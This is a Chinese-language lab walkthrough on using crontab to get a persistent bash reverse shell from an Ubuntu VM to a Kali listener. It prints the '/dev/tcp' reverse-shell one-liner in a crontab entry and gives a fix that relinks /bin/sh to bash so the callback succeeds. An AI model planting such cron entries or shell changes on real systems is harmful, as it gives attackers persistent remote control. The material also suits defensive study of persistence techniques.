实验环境
ubuntu 14.04 x64位:192.168.1.115
kali/win10:192.168.1.108/107
所用工具:netcat(瑞士军刀)
计划任务
至于计划任务是什么我觉大不需要太多解释,就是定时执行任务的意思那么接下来看看计划任务的格式,以及书写
crond 是linux用来定期执行程序的命令,如果未安装需要先安装,不在多说
cron服务提供crontab命令来设定cron服务的,以下是这个命令的一些参数与说明:
- crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
- crontab -l //列出某个用户cron服务的详细内容
- crontab -r //删除没个用户的cron服务
- crontab -e //编辑某个用户的cron服务
我们使用crontab -e编辑的文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致(redis里面命名的root)
基本语法
分 小时 日 月 星期 命令
0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务)
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
前四行是用来配置crond任务运行的环境变量
- 第一行SHELL变量指定了系统要使用哪个shell,这里是bash
- 第二行PATH变量指定了系统执行命令的路径
- 第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户
- 第四行的HOME变量指定了在执行命令或者脚本时使用的主目录
反弹shell
bash -i >& /dev/tcp/IP/PORT 0>&1
要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
- 标准输入 (stdin) :代码为 0 ,使用 < 或 <<
- 标准输出 (stdout):代码为 1 ,使用 > 或 >>
- 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
命令解释
- bash -i: -i(interactive)。即产生一个交互式的shell(bash)
- /dev/tcp/IP/POR:接单理解就可以是连接IP上的PORT端口,具体意思-->>/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
- 在这里&并不是and的意思,在c或者C++中,&是取地址符。>&和&<是一个意思,把...定向到.....;>&和2>&1是一个意思就是把标准错误输出定向到标准输出中,0>&1就是把标准输入定向到标准输出中
参考文章:https://blog.csdn.net/deeplearnings/article/details/77367695
本地测试
通过ssh连接两台虚拟机
在kali中开启监听,这里我们随便选一个端口,大于1000的-->>6666端口
在Ubuntu中写入计划任务,使用crontab -e直接编辑
* * * * * bash -i >& /dev/tcp/192.168.1.109/6666 0>&1
切换到root用户查看,发现crontabs目录下多了一个qiushui文件,这里是因为我刚才是用qiushui用户登陆的,如果可以拿到shell,也是此用户的shell,但是并没有反弹成功
接下来,查看一下Ubuntu这边的日志:tail -f /var/log/syslog
经过查阅资料
Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息并不是No MTA installed,discarding output这句话
想看到真正的报错信息有两种解决办法:
- 安装邮件系统
- 将计划任务的错误信息输出到一个文件内
我们选择第二种,接下来修改一下计划任务,让他输出到一个文件内
* * * * * bash -i '>& /dev/tcp/192.168.1.109/6666 0>&1'>/tmp/error.txt 2>&1
大概需要等一分钟左右,接下来我们去查看error文件
- 第一行:无法设定终端进程组
- 第二行:此shell中无任务控制
- 第三行:没有这个文件或目录
这条错误的意思说/bin/bash没有被找到,linux里面的cron中command执行的shell环境是/bin/sh,接下来我们看看ubuntu的bin/sh文件
ls -l | grep -w 'sh'
可以看到/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell
而实际上dash这个shell只有运行脚本的能力,而没有交互能力。
这里我们只需要将修改sh的软链接为bash即可
ln -s -f bash /bin/sh
解决完问题我们把计划任务修改回来,成功反弹